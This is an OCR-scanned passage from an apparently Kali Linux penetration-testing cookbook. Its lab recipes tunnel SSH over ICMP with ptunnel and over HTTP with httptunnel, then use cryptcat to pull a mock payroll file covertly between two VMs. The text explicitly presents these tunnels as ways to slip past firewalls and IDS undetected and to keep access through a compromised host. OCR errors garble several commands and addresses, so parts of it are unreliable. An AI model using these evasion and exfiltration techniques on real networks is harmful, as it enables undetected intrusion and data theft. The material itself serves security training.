most of the time, [CMP communications are allowed through firewalls and rarely
inspected for malicious traffic by most companies, it makes it easy to set up a
connection that will largely go unnoticed.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali Linux VM is powered up and you are logged in as root
e Your Ubuntu VM is powered up and you are logged in and on the NAT network and
have internet connectivity
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How to do it...

To tunnel communications through pingtunnel, we will follow this process:

1.

2.

Validate the IP addresses of your Kali VM and your Ubuntu VM. For my purposes,
my Kali box in 10.0.2.5 and Ubuntu is 10.0.2.6.

First, we will start in the Ubuntu VM where we are currently logged in and we
want to start by elevating ourselves to root by entering the following commands in
the console:

sudo su <enter>

We will now install prunne1 on the Ubuntu VM with the following command:

apt install ptunnel <enter>

root@lin-serv:"# apt install ptummel

Reading package lists... Dome

Building dependency tree

Reading state information... Done

The following packages were automatically installed and are no longer required:
linux-headers-4.4.0-62 linux-headers-4.4.0-62-generic linux-headers-4.4.0-72
linux-headers—4.4.0-72-generic linux-headers-4.4.0-?8 1inux-headers—4.4.0-78-generic
linux-image—4.4.0-6Z-generic linux-image-4.4.0-7Z2-generic linux-image-4.4.0-78-generic
linux—image-extra—-4.4.0-6Z2-generic linux-image-extra—4.4.0-72-generic
linux-image-extra-4.4.0-78-generic

Use ’'sudo apt autoremoue’ to remove them.

The following NEW packages will be installed:
ptunnel

0 upgraded, 1 newly installed, 0 to remove and 70 not upgraded.

Need to get 47.9 kB of archives.

After this operation, 111 kB of additional disk space will be used.

Get:1 http:~srus.archive.ubuntu.comsubuntu xenial- universe amd64 ptunnel amdb4 0.72-1 [47.9 kBI

Fetched 47.9 kB in Os (104 kBrss)

Selecting previously unselected package ptumnel.

(Reading database ... 191274 files and directories currently installed.)

Preparing to unpack ... ptunnel_0.72-1_amdb4.deb ...

Unpacking ptunmmel (0.72-1) ...

Processing triggers for man-db (Z.7.5-1)

Setting up ptummel (0.72-1) ...

root@lin-serv:™# _

Ubuntu console

4. Let's now start the tunnel on the Ubuntu machine:

ptunnel <enter>
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5. Switch to the Kali machine, open a terminal window and enter the following
command:

| ptunnel -p 10.0.2.6 -1p -8022 -da localhost -dp 22 <enter>

6. Open a second terminal window on the Kali VM and enter the following, changing
USET 1eonara for a valid user on the Ubuntu machine.

In the previous labs, we had setup a user of 1eonara With a password of
penny on the Ubuntu box.

ssh leonard@10.0.2.5 -p 8022 <enter>

root@kali:-# ssh leonard@le.e.2.5 -p 8622
leonard@l0.0.2.5's password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-87-generic x86 64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

68 packages can be updated.
0 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Kali terminal window - SSH connection

7. Let's look at the proxy window where we started ptunne1 on the Kali VM and you
will see it registering the incoming connection:

root@kali:~# ptunnel -p 10.6.2.6 -1lp 8022 -da localhost -dp 22

[inf]: Starting ptunnel v 0.72.

[inf]: (c) 2004-2011 Daniel Stoedle, <daniels@cs.uit.no>

[inf]: Security features by Sebastien Raveau, <sebastien.raveau@epita.fr>
[inf]: Relaying packets from incoming TCP streams.

[inf]: Incoming connection.

Kali terminal window - ptunnel

8. Lastly, let's take a look at the Ubuntu machine VM where the ptunne1 proxy is:
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cschultzelin-seru:™§ sudo su
[sudo] password for cschultz:
root@lin-serv:/homescschultzt ptumnel
: Starting ptummel v 0.72.
: (c) 2004-2011 Daniel Stoedle, <{danielsPcs.uit.no>
. Security features by Sebastien Raveau, <sebastien.raveauBepita.fr>
: Forwarding incoming ping packets ouer TCP.

: Ping proxy is listening in privileged mode.

: Imcoming twummel request from 10.0.2.5.

: Starting new session to 127.0.0.1:22 with ID 39994

: Comnection closed or lost.

: Session statistics:

: 10 0.00- ©0.01 mb ICMP I-0/R: 73/ 90/
: Incoming twmel request from 10.0.2.5.

: Starting new session to 127.0.0.1:22 with ID 60777

Ubuntu terminal - ptunnel

Between the two machines all you will see if you are doing a tcpdump of
the traffic will be ICMP traffic. This is a great way to make it through
firewalls and IPS/IDS devices without being detected. You can also use
this on a compromised host to use that as a jump host to target other
computers.
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Protocol spoofing using httptunnel

In this recipe we will use nttprunner to tunnel communications between two hosts. As
most of the time, HTTP communications are allowed through firewalls with little
inspection by most companies, it makes it easy to set up a connection that will largely
go unnoticed.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali Linux VM is powered up and you are logged in as root
e Your Ubuntu VM is powered up and you are logged in and on the NAT network and
have internet connectivity
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How to do it...

To create a tunnel with nttptunne1, we will run through the following process:

1.

2.

Validate the IP addresses of your Kali VM and your Ubuntu VM. For my purposes,
my Kali box in 10.0.2.5 and Ubuntu is 10.0.2.6.

First we will start in the Ubuntu VM where we are currently logged in and we
want to start by elevating ourselves to the root by entering the following commands
in the console:

sudo su <enter>

. We will now install nttptunner on the Ubuntu VM with the following commands and

prepare it for operation:

apt install httptunnel <enter>
service apache2 stop <enter>
hts -F localhost:22 80 <enter>

Switch over to the Kali VM and we will install, set up our client, and connect by
entering the following commands:

In the previous labs, we had set up a user of reonara with a password of

0 penny on the Ubuntu box.

apt install httptunnel <enter>
htc -F 8022 10.0.2.6:80
ssh leonard@l10.0.2.5 -p 8022
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root@kali: ~ e ® 0O
File Edit View Search Terminal Help

root@kali:~# ssh leonard@le.0.2.5 -p 8022
leonard@le.0.2.5's password:
|welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-87-generic x86 64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

68 packages can be updated.
0 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY. to the extent permitted bv v
Kali terminal window

You will note that we are now logged into the remote Ubuntu box. If you
were looking at this traffic you will see all traffic look like normal HTTP
traffic. This is another useful way to get past firewalls and IPS/IDS
devices to maintain your access to the network.
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Hiding communications with cryptcat

In this recipe we will use cryptcat to transfer files between two hosts. Although we will
use cryptcat for transferring files in this example, it can be used for a wide variety of
purposes such as secure chat, shell access, port scanning as well as others.
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Getting ready

Let's ensure the following prerequisites:

e Your Kali Linux VM is powered up and you are logged in as root
e Your Ubuntu VM is powered up and you are logged in and on the NAT network and
have internet connectivity
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How to do it...

To use cryptcat to create tunnels to hide communications, we will follow these steps:

1. Validate the IP addresses of your Kali VM and your Ubuntu VM. For my purposes,
my Kali box 1s 10.0.2.5 and Ubuntu are 10.0.2.s.

2. First we will start in the Ubuntu VM where we are currently logged in and we
want to start by elevating ourselves to root by entering the following commands in
the console:

| sudo su <enter>

3. We must next install cryprcar on the Ubuntu VM by entering the following command:

| apt install cryptcat

4. From the Ubuntu machine we will enter the following commands to make an
interesting file:

cd <enter>

touch payroll.txt <enter>

echo "john makes lots of money" >> payroll.txt <enter>
cat payroll.txt <enter>

root@lin-serv:"# touch payroll.txt
root@lin—serv:"# echo " johm nake lots of money” >>payroll.txt
oot@lin-serv:"# cat payroll.txt

john make lots of money
oot@lin-serv:"#

ubuntu terminal window

5. Prepare to transfer the file through cryptcac by entering the following commands:

| cryptcat -k password -v -1 -p 8443 < payroll.txt <enter>

6. Switch to the Kali box and let's retrieve and verify the file by opening a terminal
window and entering the following commands:

cryptcat -k password -v 10.0.2.6 8443 >> payroll.txt <enter>
<ctrl>-c
cat payroll.txt
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root@kali:-# cryptcat -v 10.0.2.6 8443 >> payroll.txt
10.0.2.6: inverse host lookup failed: Unknown host
(UNKNOWN) [10.0.2.6] 8443 (7) open

~C punt!

root@kali:~# 1s

192 168 56 102.txt

emaillist.txt

test2.xml
commands . txt exploit.exe payload.exe test.xml
cowroot.c fakehost.txt payroll.txt usernames
DCsetuid®.c hipaaregs.pdf usernames2

hydra.restore

dirty.c Internal.xml salary.pdf

shadow
root@kali:
root@kali:
root@kali:
root@kali:
root@kali:
root@kali:
root@kali:
root@kali:-# cat payroll.txt
john make lots of money
root@kali:-#

o W W R A

i

Kali terminal window

7. Let's take a look at the Ubuntu terminal to see what that shows:

root@lin-serv:"# touch pauroll.txt

root@lin-serv:"# echo " john make lots of money” >>payroll.txt
[nutﬂlin—seru:"ﬁ cat payroll.txt

J

john make lots of money
oot@lin-serv:"# cruptcat —v -1 —p 8443 < payroll.txt
|listening on [anyl 8443
10.0.2.5: inverse host lookup failed: No address associated with name
knnnect to [10.0.2.61 from (UNKNOWN) [10.0.2.51 46052

Ubuntu terminal
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There's more...

The crypecat 1s effectively the same as netcat except for allowing encrypted
communications through plain text. To get more information on the commands available
to use, please refer to the netcat (nc) pages. With cryprcat they simply add an extra
command line option of -x <passwora> Where password is what is used to salt the
password and create the secure communications.

Please review — https://www.sans.org/security-resources/sec560/netcat cheat sheet v1.pdf.
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